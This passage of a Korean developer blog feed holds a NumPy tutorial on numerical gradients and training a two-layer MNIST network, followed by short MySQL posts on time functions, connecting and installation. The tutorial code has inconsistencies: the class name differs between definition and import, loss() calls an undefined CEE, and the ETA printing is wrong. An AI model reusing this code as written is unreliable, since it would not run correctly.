<h3 id="1-5-편미분을-이용한-기울기-계산">1-5. 편미분을 이용한 기울기 계산</h3>
<p>가중치와 편향의 작은 변화에 손실 함수의 결과가 어떻게 변하는지 계산하기 위해서는 가중치와 편향의 각 요소에 대해 편미분을 수행하여 기울기 벡터를 얻어내야 한다. 필자는 함수와 np.array를 받아 np.array의 각 요소에 대한 함수의 편미분을 구한 후, input np.array와 동일한 shape의 기울기 벡터를 내놓는 calc_gradient() 함수를 구현해 사용할 것이다. common/Calc_Gradient.py 파일을 생성하고 아래 코드를 입력하자.</p>
<pre><code>import numpy as np

def calc_gradient(f, x):
    h = 1e-4
    grad = np.zeros_like(x)

    it = np.nditer(x, flags=[&#39;multi_index&#39;], op_flags=[&#39;readwrite&#39;])

    while not it.finished:
        i = it.multi_index
        tmp = x[i]

        # f(x+h)
        x[i] = tmp + h
        y1 = f(x)

        # f(x-h)
        x[i] = tmp - h
        y2 = f(x)

        x[i] = tmp
        # (f(x+h) - f(x-h)) / 2h
        grad[i] = (y1 - y2) / (2 * h)

        it.iternext()

    return grad</code></pre><p>수치 미분을 수행하는 함수다.</p>
<p>1) 기울기 벡터의 형상은 x의 형상과 같기 때문에 np.zeros_like(x)를 사용해 모든 요소가 0으로 채워져 있으며, x와 형상이 같은 np.array를 만들어 grad 변수에 저장한다.
2) x의 요소 중 하나(x[i])를 택해 tmp 변수에 저장한다.
3) x[i]를 tmp + h로 변경한 후, f(x)의 결과값을 y1에 저장한다. 이 값은 f(x + h)와 같다.
4) x[i]를 tmp - h로 변경한 후, f(x)의 결과값을 y2에 저장한다. 이 값은 f(x - h)와 같다.
5) x[i] = tmp를 수행하여 x[i]의 값을 복원한다.
6) 이후 (y1 - y2) / (2 * h) 연산하여 grad 변수에 저장한다.
7) 2~6 과정을 x의 모든 요소에 대해 반복한다.</p>
<p><a href="https://velog.io/@developerkerry/%EB%AF%B8%EB%B6%84%EA%B3%BC-%EA%B8%B0%EC%9A%B8%EA%B8%B0">제대로 된 미분값을 계산하려면 극한을 사용해야 하지만, 극한은 인간만이 계산할 수 있는 추상적인 개념이라고 언급했었다.</a> 해석적 미분이라면 아래 두 식중 하나를 선택하여 미분을 수행해야 한다.
$$
\lim_{h \to 0}{f(x+h)-f(x) \over h}
$$
$$
\lim_{h \to 0}{f(x+h)-f(x-h) \over 2h}
$$
해석적 미분을 수행하면 위 식 둘 다 올바른 결과를 내놓지만, 수치 미분을 사용하면 첫 번째 식이 두 번째 식보다 해석적 미분값과의 오차가 심하다. 이전에 언급했듯 첫 번째 식은 전방 차분을 이용한 미분으로, 미분을 구하고자 하는 지점의 전방(양의 방향)과 미분을 구하고자 하는 지점의 함숫값을 잇는 기울기가 나오기 때문이다. 반면 두 번째 식은 중심(중앙) 차분을 이용한 방식으로 미분을 구하고자 하는 지점에서 $+h$만큼 떨어진 지점과 $-h$만큼 떨어진 지점을 잇는 기울기가 결과로 나온다. 때문에 진정한 미분값에 조금 더 가깝다. 그래서 이번에 구현한 수치 미분 함수에서는 두 번째 식을 이용했다. 자세한 내용은 <a href="https://velog.io/@developerkerry/%EB%AF%B8%EB%B6%84%EA%B3%BC-%EA%B8%B0%EC%9A%B8%EA%B8%B0">미분과 기울기</a> 포스트를 참고하자.</p>
<h3 id="1-6-2층-신경망-구현">1-6. 2층 신경망 구현</h3>
<p>신경망을 하나의 클래스로 구현했다. 2층짜리 신경망이며, 이름은 MNIST_Net이다. 구현 위치는 2-Layer-NeuralNet(MNIST)/Two_Layer_NeuralNet.py이다.</p>
<pre><code>import os, sys
import numpy as np
sys.path.append(os.pardir)
from common.Calc_Gradient import calc_gradient
from common.Loss_Functions import cross_entropy_error
from common.Activate_Functions import sigmoid, softmax

class MNIST_Net:
    def __init__(self, input_size:int, hidden_size:int, output_size:int, weight_init_std=0.01):
        self.model_infos = {}
        self.model_infos[&#39;training_time&#39;] = None
        self.model_infos[&#39;loss_list&#39;] = None
        self.model_infos[&#39;accuracy_list&#39;] = None

        self.params = {}
        self.params[&#39;W1&#39;] = weight_init_std * np.random.randn(input_size, hidden_size)
        self.params[&#39;b1&#39;] = np.zeros(hidden_size)
        self.params[&#39;W2&#39;] = weight_init_std * np.random.randn(hidden_size, output_size)
        self.params[&#39;b2&#39;] = np.zeros(output_size)</code></pre><p>생성자에서 입력 데이터의 요소 수 input_size, 은닉층의 요소 수 hidden_size, 출력 데이터의 요소 수 output_size를 받아 신경망 구현에 필요한 np.array를 만들어 self.params에 저장한다. 여기서 weight_init_std는 초기 가중치의 표준편차를 조절하는 인자다. weight_init_std의 값이 클수록 표준편차가 커지고, 작을수록 표준편차가 작아진다. 이 값을 어떻게 세팅하냐에 따라 신경망 학습의 성패가 결정된다. 이 신경망에서의 Hyper Parameter중 하나라고 생각하면 된다.</p>
<hr>
<pre><code>    def predict(self, x):
        W1, b1 = self.params[&#39;W1&#39;], self.params[&#39;b1&#39;]
        W2, b2 = self.params[&#39;W2&#39;], self.params[&#39;b2&#39;]

        L1 = sigmoid(np.dot(x, W1) + b1)
        y = softmax(np.dot(L1, W2) + b2)

        return y</code></pre><p>첫 번째로 구현한 메서드는 predict() 메서드다. 입력 데이터를 받아 self.params에 저장된 W1 가중치, b1 편향과 sigmoid 활성화 함수를 이용해 0층에서 1층으로 향하는 데이터를 처리하고, W2 가중치, b2 편향으로 1층에서 2층으로 향하는 데이터를 처리한 후 softmax 활성화 함수로 예측값을 만들어 낸다.</p>
<hr>
<p>비용 함수를 계산하는 메서드와 정확도를 구하는 메서드도 만들었다.</p>
<pre><code>    def loss(self, x, t):
        y = self.predict(x)
        return CEE(y, t)

    def accuracy(self, x, t):
        y = self.predict(x)

        y = np.argmax(y, axis=1)
        t = np.argmax(t, axis=1)

        return np.sum(y == t) / float(x.shape[0])</code></pre><p>loss() 메서드의 첫 번째 인자(x)로는 날 것의 입력(784열의 데이터)이 그대로 들어간다. 두 번째 인자(t)로는 Label이 들어간다. 그러면 x를 self.predict() 메서드에 넘겨 예측값을 구하고, 구해진 예측값과 t에 저장된 실측값을 cross_entropy_error() 함수에 넘겨 오차를 구한다.</p>
<p>accuracy() 메서드 역시 첫 번째 인자(x)로는 날 것의 입력(784열의 데이터)을 받고, 두 번째 인자로는 Label을 받는다. loss() 메서드 때와 동일하게 첫 번째 인자로 주어진 x를 이용해 self.predict() 메서드로 예측값을 구한다. 이 뒤부터는 loss() 메서드와 조금 다른데, y = np.argmax(x), t = np.argmax(t)를 해준다. np.argmax() 함수는 입력으로 들어온 배열에서 가장 큰 요소가 들어있는 요소의 인덱스를 반환한다. 아래 인터프리터 실행 결과를 보자.</p>
<pre><code>&gt;&gt;&gt; import numpy as np
&gt;&gt;&gt; a = np.array([0.2, 0.1, 0.7])
&gt;&gt;&gt; b = np.array([0.15, 0.57, 0.28])
&gt;&gt;&gt; np.argmax(a)
2
&gt;&gt;&gt; np.argmax(b)
1</code></pre><p>우린 출력층의 활성화 함수로 softmax() 함수를 이용했다. 따라서, 예측값 배열 요소들의 전체 합은 1이며, 배열의 각 요소에 담긴 값은 &#39;입력이 각 요소의 인덱스에 해당하는 Class일 확률&#39;으로 해석된다. 그렇기에 np.argmax(y)를 하면 입력에 대한 결과일 확률이 가장 높은 Class의 인덱스가 나온다. </p>
<p>우리는 입력이 0일 확률은 0번 인덱스에, 1일 확률은 1번 인덱스에... 9일 확률은 9번 인덱스에 저장되도록 코드를 작성했으므로, np.argmax(y)의 결과를 곧바로 &#39;신경망이 예측한 숫자&#39;로 해석할 수 있다. 그래서 y = np.argmax(y), t = np.argmax(t)를 하면 완전한 (정수 형태의)예측 결과와 실측값이 y, t에 각각 저장된다.</p>
<p>마지막 return문에서는 np.sum(y == t) / float(x.shape[0])를 수행하는데, np.sum(y == t)는 배열 전체에 대해 y[i] == t[i]인 경우의 수를 구한다. 아래 인터프리터 입출력 결과를 보면 이해가 쉬울 것이다.</p>
<pre><code>&gt;&gt;&gt; a = np.array([1, 9, 4, 2, 3])
&gt;&gt;&gt; b = np.array([1, 0, 4, 3, 3])
&gt;&gt;&gt; a == b
array([ True, False,  True, False,  True])
&gt;&gt;&gt; np.sum(a == b)
3</code></pre><p>a == b를 하면, a, b의 형상과 같은 형상의 배열이 결과로 나온다. 결과 배열의 각 요소에는 a[i] == b[i]인지 비교 연산을 한 결과 Bool 값이 들어 있다. Python에서 True는 1로 해석되고, False는 0으로 해석되므로, np.sum(a == b)를 하면 a[i] == b[i]인 경우가 몇 개나 되는지를 구하는 식이 된다. 마지막으로 그것을 x.shape[0]으로 나누면 정확도가 산출되는 것이다. 전혀 어렵지 않다.</p>
<hr>
<p>마지막 메서드는 calc_gradient() 메서드다.</p>
<pre><code>    def calc_gradient(self, x, t):
        loss_W = lambda W: self.loss(x, t)

        grads = {}
        grads[&#39;W1&#39;] = calc_gradient(loss_W, self.params[&#39;W1&#39;])
        grads[&#39;b1&#39;] = calc_gradient(loss_W, self.params[&#39;b1&#39;])
        grads[&#39;W2&#39;] = calc_gradient(loss_W, self.params[&#39;W2&#39;])
        grads[&#39;b2&#39;] = calc_gradient(loss_W, self.params[&#39;b2&#39;])

        return grads</code></pre><p>loss_W는 lambda 문법으로 만든 함수의 객체가 들어있다. W를 인자로 받는데 이걸 함수 내부에서 사용하진 않는다. 즉, 인자 W는 더미(dummy)이다. 이 부분은 별로 설명할 게 없다. grads 변수에 빈 딕셔너리를 만들고, 거기에 각 가중치, 편향에 대한 calc_gradient()(common/Calc_Gradient.py에 들어있는 그 함수) 함수 실행 결과를 구해 저장한다.</p>
<p>이렇게 Two_Layer_NeuralNet 클래스를 완성했다!</p>
<h3 id="1-6-학습-구현">1-6. 학습 구현</h3>
<p>드디어 이론적으로만 알고 있던 신경망의 학습 알고리즘을 구현할 차례다! 2-Layer-NeuralNet/main.py 파일을 만들고 작업에 착수하자. 제일 먼저 할 일은 우리가 만든 MNIST Loader와 2층 네트워크를 import하는 것이다.</p>
<pre><code>import time
import random
import pickle
import sys, os
sys.path.append(os.pardir)
from common.MNIST_Loader import load_MNIST
from Two_Layer_NeuralNet import Two_Layer_NeuralNet</code></pre><hr>
<p>이후 Network와 학습에 필요한 Hyper Parameter들을 초기화 한다.</p>
<pre><code>net = Two_Layer_NeuralNet(784, 50, 10)
(x_train, t_train), (x_test, t_test) = load_MNIST(normalize=True, flatten=True, one_hot_encoding=True)

learning_rate = 0.01
batch_size = 100
epoch = 17</code></pre><p>가중치, 편향 매개 변수를 한 번에 얼마씩 조정할지를 설정하는 learning_rate를 0.01로 하였다. 사실 학습 결과를 보면서 learning_rate를 조금씩 조정해야 하는데, 현재 우리가 구현한 신경망 학습은 학습에 상당한 시간이 걸리기 때문에 learning_rate를 학습 추이 보면서 조절할 그런 여유가 없다. 그래서 그냥 0.01로만 두고 테스트를 진행했다.</p>
<p>batch_size는 100으로 설정했다. 학습 데이터가 60000개이므로, 미니배치 학습을 600번 수행하면 1 Epoch이다.</p>
<p>이 Epoch를 17번 반복 수행하도록 코드를 작성했다.</p>
<hr>
<pre><code>loss_list = []
acc_list = []
elapsed_time_list = []

train_data_cnt = x_train.shape[0]
iter_for_epoch = train_data_cnt // batch_size

x = None
t = None

s_training = time.time()</code></pre><p>학습 진행의 추이를 시각화하기 위한 변수들을 만들었다. </p>
<p>loss_list에는 배치 한 덩어리를 학습한 후 산출된 Loss Function의 값을 하나씩 append 해줄 것이다.</p>
<p>acc_list에는 배치 한 덩이 학습 후 산출된 모델의 정확도를 append한다.</p>
<p>마지막으로 elapsed_time_list에는 배치 한 덩어리의 학습에 걸린 시간을 하나씩 append할 것이다. elapsed_time_list는 얼마나 기다려야 학습이 다 될지, 예상소요시간을 구하기 위해 만들어준 리스트이다. 어느 시점까지 1 배치 학습에 걸린 소요 시간의 평균을 산출하여 남은 데이터들을 학습하는 데에는 시간이 얼마나 걸릴지 계산하는 것이다.</p>
<p>모델의 학습이 제대로 이루어졌다면 loss_list의 원소 값은 뒤로 갈 수록 줄어드는 추세일 것이고, acc_list의 원소 값은 증가하는 추세일 것이다.</p>
<p>train_data_cnt는... 일단은 학습용 데이터가 6만개라는 것을 알고는 있지만, 데이터의 개수가 언젠가는 변할 수도 있기 때문에 얻어온 MNIST Dataset의 학습용 데이터 개수를 직접 구해 저장하는 변수다. 이렇게 처리해주면 나중에 언젠가 MNIST Dataset의 훈련용 데이터가 7만 개가 되든, 10만 개가 되든 코드 수정 없이 학습 수행이 가능할 것이다.</p>
<p>iter_for_epoch에는 1 Epoch가 되기 위해서는 배치 학습을 몇 번 해야 하는지를 계산해 대입했다.</p>
<p>x, t에는 각각 훈련용 이미지, 훈련용 이미지에 대한 레이블이 저장될 것이다. 자세한 건 학습이 진행되는 for문을 보면서 설명하겠다.</p>
<p>s_training은 학습이 시작되고 얼마만에 학습이 완료되었는지를 구하기 위해 학습을 수행하는 for문 진입 직전의 타임스탬프를 찍어 저장해두는 변수다.</p>
<hr>
<pre><code>for i in range(epoch):
    for k in range(iter_for_epoch):
        s_batch = time.time()
        batch_mask = random.randint(0, train_data_cnt - batch_size)

        x = x_train[batch_mask:batch_mask + batch_size]
        t = t_train[batch_mask:batch_mask + batch_size]

        grad = net.calc_gradient(x, t)
        net.params[&#39;W1&#39;] -= (learning_rate * grad[&#39;W1&#39;])
        net.params[&#39;b1&#39;] -= (learning_rate * grad[&#39;b1&#39;])
        net.params[&#39;W2&#39;] -= (learning_rate * grad[&#39;W2&#39;])
        net.params[&#39;b2&#39;] -= (learning_rate * grad[&#39;b2&#39;])

        loss = net.loss(x, t)
        loss_list.append(loss)

        accuracy = net.accuracy(x, t)
        acc_list.append(accuracy)

        elapsed_time = time.time() - s_batch
        elapsed_time_list.append(elapsed_time)

        ETA_second = (sum(elapsed_time_list) / len(elapsed_time_list)) * (epoch - i) * (iter_for_epoch - k)

        print(&quot;__________Epoch {}/{}__________&quot;.format(i + 1, epoch))
        print(&quot;***** Batch: {}/{} *****&quot;.format(k + 1, iter_for_epoch))
        print(&quot;Loss/Accuracy: {}/{}%&quot;.format(loss, accuracy * 100))
        print(&quot;Elapsed Time(1 Batch): {}s&quot;.format(int(elapsed_time)))
        if ETA_second &lt; 60:
            print(&quot;ETA: {}m&quot;.format((ETA_second / 60) % 60))
        else:
            print(&quot;ETA: {}h {}m&quot;.format(ETA_second // 3600, (ETA_second / 60) % 60))</code></pre><p>여기가 Business Logic이라고 할 수 있다! 본격적인 학습은 여기서 이뤄진다.</p>
<p>바깥쪽 for문의 range(epoch)는 몇 번의 Epoch를 수행할지 정하는 부분이고, 안쪽 for문의 range(iter_for_epoch)는 1 Epoch가 되려면 배치 학습을 몇 번 수행해야 하는지를 정하는 부분이다.</p>
<p>먼저, 한 배치 학습 수행에 시간이 얼마나 걸렸는지 측정하기 위해 s_batch = time.time()으로 타임스탬프를 찍는다. </p>
<p>이후 랜덤한 개수의 데이터를 데이터셋에서 뽑아내기 위해 batch_mask에 random.randint(0, train_data_cnt - batch_size)의 수행 결과를 넣는다. 이렇게 하면 0~59900 사이의 숫자 하나가 발생된다.</p>
<p>이렇게 발생된 batch_mask를 이용해 batch_mask부터 batch_mask + 100까지, 슬라이싱을 해서 x, t에 각각 학습용 이미지와 레이블을 저장해준다.</p>
<p>grad에는 각 가중치(혹은 편향) 변수의 미소한 변화에 의한 손실 함수 값의 변화, 즉 기울기를 계산해서 저장한다. net.calc_gradient(x, t)를 사용한다.</p>
<p>그리고 이전에 보았던 수식
$$
x=x-\eta{\partial f \over \partial x}
$$
를 그대로 구현해준다.</p>
<p>여기까지만 해도 학습의 구현은 끝난 것이다! 이후 코드는 손실값, 정확도의 변화를 시각화 하기 위해 저장하거나, 학습 예상소요시간을 구하기 위한 연산을 하는 부분이다.</p>
<hr>
<pre><code>net.model_infos[&#39;training_time&#39;] = &quot;{}m&quot;.format((time.time() - s_training) / 60)
net.model_infos[&#39;loss_list&#39;] = loss_list
net.model_infos[&#39;accuracy_list&#39;] = acc_list

if not os.path.isdir(&quot;model&quot;):
    os.mkdir(&quot;model&quot;)

with open(&quot;model/({})MNIST_model.pkl&quot;.format(time.strftime(&quot;%y-%m-%d&quot;)), &quot;wb&quot;) as fp:
    pickle.dump(net, fp)</code></pre><p>for문을 빠져나가서는 학습에 걸린 시간, 손실 값 리스트, 정확도 값 리스트를 네트워크의 model_infos에 잘 저장한 후 Pickle을 이용해 파일로 저장만 해준다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[MySQL] HOUR, MINUTE, SECOND]]></title>
            <link>https://velog.io/@dev_benedictus/MySQL-HOUR-MINUTE-SECOND</link>
            <guid>https://velog.io/@dev_benedictus/MySQL-HOUR-MINUTE-SECOND</guid>
            <pubDate>Thu, 15 Dec 2022 17:07:24 GMT</pubDate>
            <description><![CDATA[<h3 id="1-hour-함수">1. HOUR 함수</h3>
<ul>
<li>DATETIME형 데이터를 인자로 받아 시(Hour)를 반환하는 함수입니다.
<img src="https://images.velog.io/images/developerkerry/post/e82defa6-cce7-4714-86e8-40685089cd02/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202021-08-30%20%EC%98%A4%ED%9B%84%207.03.11.png" alt=""></li>
</ul>
<h3 id="2-minute-함수">2. MINUTE 함수</h3>
<ul>
<li>DATETIME형 데이터를 인자로 받아 분(Minute)을 반환하는 함수입니다.
<img src="https://images.velog.io/images/developerkerry/post/1b0b935d-6b96-4643-969d-90e4869a9c0a/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202021-08-30%20%EC%98%A4%ED%9B%84%207.04.23.png" alt=""></li>
</ul>
<h3 id="3-second-함수">3. SECOND 함수</h3>
<ul>
<li>DATETIME형 데이터를 인자로 받아 초(Second)를 반환하는 함수입니다.
<img src="https://images.velog.io/images/developerkerry/post/66cd2ec4-3782-498d-b5ae-3b162ddbb8dd/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202021-08-30%20%EC%98%A4%ED%9B%84%207.05.18.png" alt=""></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[MySQL] MySQL 접속]]></title>
            <link>https://velog.io/@dev_benedictus/MySQL-MySQL-%EC%A0%91%EC%86%8D</link>
            <guid>https://velog.io/@dev_benedictus/MySQL-MySQL-%EC%A0%91%EC%86%8D</guid>
            <pubDate>Thu, 15 Dec 2022 17:01:51 GMT</pubDate>
            <description><![CDATA[<h3 id="0-들어가기에-앞서">0. 들어가기에 앞서</h3>
<ul>
<li>MySQL이 설치되어 있으며, PATH에 &#39;mysql&#39; 파일이 설정되어 있다는 전제 하에 설명을 진행할 것입니다.</li>
<li>아직 PATH 설정을 안 하셨거나, MySQL을 설치하지 않으신 분은 아래 포스트를 먼저 보고 오시길 바랍니다.</li>
</ul>
<p><a href="https://velog.io/@developerkerry/MySQL-%EC%84%A4%EC%B9%98Windows-Mac-Linux">https://velog.io/@developerkerry/MySQL-설치Windows-Mac-Linux</a></p>
<h3 id="1-mysql에-접속하기">1. MySQL에 접속하기</h3>
<ul>
<li>만약, 패스워드가 설정되지 않은 상태라면, 아래 명령만으로 MySQL에 접속할 수 있습니다.</li>
</ul>
<pre><code>$ sudo mysql -uroot // Mac, Linux의 경우
$ mysql -uroot // Windows의 경우</code></pre><ul>
<li>패스워드가 설정된 상태라면, 아래와 같이 접속해야 합니다.<pre><code>$ mysql -uroot -hlocalhost -p[패스워드]</code></pre></li>
<li>위 문장에서, -uroot는 root 계정으로 접속한다는 것을, -hlocalhost는 localhost에서 실행되고 있는 MySQL에 접속한다는 것을, -p[패스워드]는 패스워드를 사용하여 DB에 로그인한다는 것을 의미합니다.</li>
<li>그런데, -p 옵션 바로 뒤에 패스워드를 입력하고 엔터를 누르는 행동은 보안상 좋지 않습니다. 그래서 아래와 같이 접속을 합니다.</li>
</ul>
<pre><code>$ mysql -uroot -hlocalhost -p
Enter Password: [패스워드 입력]
</code></pre><ul>
<li>위 방법이 MySQL에 접속하는 가장 좋은 방법입니다.</li>
<li>여기서, -uroot와 -hlocalhost 옵션은 localhost에서 실행중인 MySQL에 root 계정으로 접속한다는 것을 의미합니다.</li>
<li>-p 옵션은 패스워드를 사용하여 접속하겠다! 하는 것을 의미합니다.</li>
<li>만약 원격지에서 실행중인 MySQL Database에 접근하고 싶다면, -h 옵션 뒤에 원격지 IP 주소를 입력하면 됩니다.</li>
<li>접속에 성공하면 아래와 같은 프롬프트를 볼 수 있습니다.</li>
</ul>
<p><img src="https://images.velog.io/images/developerkerry/post/471177bf-8622-44b8-beb6-56166d3e47d0/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202021-08-26%20%EC%98%A4%ED%9B%84%2010.25.08.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[MySQL] 설치(Windows, Mac, Linux)]]></title>
            <link>https://velog.io/@dev_benedictus/MySQL-%EC%84%A4%EC%B9%98Windows-Mac-Linux</link>
            <guid>https://velog.io/@dev_benedictus/MySQL-%EC%84%A4%EC%B9%98Windows-Mac-Linux</guid>
            <pubDate>Thu, 15 Dec 2022 17:01:18 GMT</pubDate>
            <description><![CDATA[<h3 id="1-windows의-경우">1. Windows의 경우</h3>
<ul>
<li>다운로드 링크: <a href="https://dev.mysql.com/downloads/mysql/">https://dev.mysql.com/downloads/mysql/</a>
위 링크에 접속하시어, 컴퓨터 환경에 맞는 버전의 MySQL을 다운로드 받으신 후, MySQL Installer의 지시를 따라 MySQL을 설치하시면 됩니다.</li>
</ul>
<h4 id="1-설치-파일-다운로드">1) 설치 파일 다운로드</h4>
<ul>
<li><p>Select Operating System란에서 Microsoft Windows를 선택 후, 아래의 <strong>&#39;Windows (x86, 32 &amp; 64-bit), MySQL Installer MSI&#39;</strong>의 다운로드 버튼을 누릅니다.
<img src="https://images.velog.io/images/developerkerry/post/43dc6a97-3d5a-4491-82c3-89ab66436fce/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>둘 중 아무거나 다운로드 받습니다. 저는 하단의 설치파일을 다운로드 하였습니다.
<img src="https://images.velog.io/images/developerkerry/post/42b5d685-96b2-4770-b484-a5739d06f978/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>로그인, 회원가입 얘기는 상큼하게 무시해 주고 <strong>&#39;No thanks, just start my download&#39;</strong>를 누르면 설치 파일 다운로드가 시작됩니다.
<img src="https://images.velog.io/images/developerkerry/post/5794c5ff-fa4a-4510-968b-57d3e41f73da/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
</ul>
<h4 id="2-설치-파일-실행-및-설치-진행">2) 설치 파일 실행 및 설치 진행</h4>
<ul>
<li><p>다운로드 된 설치파일을 실행합니다.
<img src="https://images.velog.io/images/developerkerry/post/81bffbd7-0631-4b76-ac41-1a8070f54d1a/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>Setup Type을 선택하라는 창이 나옵니다. 여기서 <strong>자신에게 필요한 Setup Type을 설정하고 Next 버튼을 누르시면 됩니다.</strong> 저는 &#39;Server Only&#39;를 선택하여 MySQL Server만 설치하겠습니다.
<img src="https://images.velog.io/images/developerkerry/post/4ba8b314-a3a7-432f-9609-851bbfc3de6f/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>Setup Type을 지정하고 Next 버튼을 누르면 아래와 같이 어떤 제품들이 설치되는지 표시가 됩니다. 확인하시고 Execute 버튼을 눌러주시면 됩니다.
<img src="https://images.velog.io/images/developerkerry/post/c24dfb74-43a7-4e19-b75c-0d4d2e7829a6/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>그러면 Progress가 올라가며 제품이 설치됩니다. 설치가 다 되면 Next 버튼이 활성화 됩니다. Next 버튼을 눌러주세요.
<img src="https://images.velog.io/images/developerkerry/post/373daf00-1db1-45d7-97c1-dd5673e8397a/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>그 뒤엔 설정 타입과 포트번호 등을 설정할 수 있는 창이 나오는데, 저는 기본값으로 두겠습니다.
<img src="https://images.velog.io/images/developerkerry/post/41a72e75-b498-4f2e-90df-608610bdb073/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>인증 방식을 설정할 수 있는 창이 나옵니다. 역시나 기본값으로 두겠습니다.
<img src="https://images.velog.io/images/developerkerry/post/60142d01-cd6c-440a-97d3-eaf18e74c495/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>Root Password를 설정할 수 있는 창이 나오는데, 여기서 패스워드를 설정해주시면 됩니다. 여기서 작성한 Root Password를 잊지 않도록 주의하세요.
<img src="https://images.velog.io/images/developerkerry/post/a8349a49-0a6b-43be-8102-c728f5f16424/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>다음에는 Windows Service Name 등을 설정할 수 있는 창이 나옵니다. 기본값으로 두겠습니다.
<img src="https://images.velog.io/images/developerkerry/post/3f457241-9b86-40ff-815b-168ad16e766c/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>Apply Configuration 창이 나옵니다. Execute 버튼을 눌러줍니다.
<img src="https://images.velog.io/images/developerkerry/post/c772aa48-9a26-4873-a6b7-6749a3828fb9/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>설정이 하나씩 진행됩니다.
<img src="https://images.velog.io/images/developerkerry/post/d7672177-64f5-41ef-b131-20ba4d7c8a59/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>이후 Next -&gt; Finish를 눌러주면 설치가 완료됩니다.</p>
</li>
<li><p>마지막으로 path 설정을 해 주어야 합니다. 제어판에 들어갑니다.
<img src="https://images.velog.io/images/developerkerry/post/490496d8-8823-4d4d-b629-7b82cff0efb3/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>시스템 및 보안 -&gt; 시스템 -&gt; 고급 시스템 설정 -&gt; 환경 변수 버튼을 눌러줍니다.
<img src="https://images.velog.io/images/developerkerry/post/fcb5e316-064e-4f93-b87b-c6ab7bc7bdc6/%EC%BA%A1%EC%B2%98.PNG" alt="">
<img src="https://images.velog.io/images/developerkerry/post/ac2e47c8-9725-46e5-b05f-7fc48028ceb9/%EC%BA%A1%EC%B2%98.PNG" alt="">
<img src="https://images.velog.io/images/developerkerry/post/ae887f60-8cdc-4064-a433-0af0aa21f21c/%EC%BA%A1%EC%B2%98.PNG" alt="">
<img src="https://images.velog.io/images/developerkerry/post/e3c89f35-3ee7-4e02-b8e1-6533c5ee938d/%EC%BA%A1%EC%B2%98.PNG" alt="">
<img src="https://images.velog.io/images/developerkerry/post/7298215f-cb33-4c83-b539-bfcf6555a480/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>시스템 변수 란에서 Path 항목을 찾아 더블클릭 합니다.
<img src="https://images.velog.io/images/developerkerry/post/4480b183-1e0a-4bf9-8e5c-bddc9070ecc8/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>새로 만들기 버튼을 누르고, MySQL이 설치된 디렉터리의 bin 디렉터리 위치를 입력해 줍니다. 기본 설치 경로는 C 드라이브 -&gt; Program Files -&gt; MySQL -&gt; MySQL Server [버전]입니다.
<img src="https://images.velog.io/images/developerkerry/post/ed8ced18-dbe7-4b6b-87d1-7781b301a3cc/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>이 단계까지 따라오셨다면, MySQL 설치는 완료된 것입니다. cmd에 들어가 접속이 잘 되는지 확인해봅시다.
<img src="https://images.velog.io/images/developerkerry/post/9989c8d9-abe3-4970-8373-e51e5b034fa8/%EC%BA%A1%EC%B2%98.PNG" alt=""></p>
</li>
<li><p>설치 완료!</p>
</li>
<li><p>만약 MySQL 5.7을 설치하고 싶다면 아래 링크에서 Product Version을 MySQL 5.7로 설정한 뒤 MSI Installer를 내려받으시면 됩니다.</p>
</li>
</ul>
<p><a href="https://downloads.mysql.com/archives/installer/">https://downloads.mysql.com/archives/installer/</a></p>
<h3 id="2-mac의-경우">2. Mac의 경우</h3>
<h4 id="1-설치">1) 설치</h4>
<ul>
<li>터미널에서 Homebrew를 활용해 간편하게 설치를 진행할 수 있습니다.<pre><code>$ brew install mysql</code></pre></li>
<li>만약 MySQL 5.7을 설치하고 싶다면, 다음 명령어를 사용하시면 됩니다.<pre><code>$ brew install mysql@5.7</code></pre></li>
</ul>
<h4 id="2-설정">2) 설정</h4>
<ul>
<li>설치가 완료되면 다음 명령어를 통해 root 패스워드를 설정해 줍니다.<pre><code>$ mysql_secure_installation</code></pre></li>
<li>설정 과정에서 Y | y / No를 입력해야 하는 질문들이 나타나는데, 그 중 첫 번째 질문에서는 No를 입력하시는 것을 권장합니다. <pre><code>Press y|Y for Yes, any other key for No: No</code></pre></li>
</ul>
<h4 id="3-1-mysql-시작-및-종료brew-install-mysql로-설치한-경우">3-1) MySQL 시작 및 종료(brew install mysql로 설치한 경우)</h4>
<ul>
<li>다음 명령어를 통해 MySQL을 시작할 수 있습니다.<pre><code>$ brew services start mysql 혹은
$ mysql.server start</code></pre></li>
<li>다음 명령어를 통해서는 MySQL을 실행 종료할 수 있습니다.<pre><code>$ brew services stop mysql 혹은
$ mysql.server stop</code></pre></li>
</ul>
<h4 id="3-2-mysql-시작-및-종료brew-install-mysql57로-설치한-경우">3-2) MySQL 시작 및 종료(brew install <a href="mailto:mysql@5.7">mysql@5.7</a>로 설치한 경우)</h4>
<ul>
<li><p>다음 명령어를 통해 MySQL을 시작할 수 있습니다.</p>
<pre><code>$ brew services start mysql@5.7 혹은
$ mysql.server start</code></pre></li>
<li><p>다음 명령어를 통해서는 MySQL을 실행 종료할 수 있습니다.</p>
<pre><code>$ brew services stop mysql@5.7 혹은
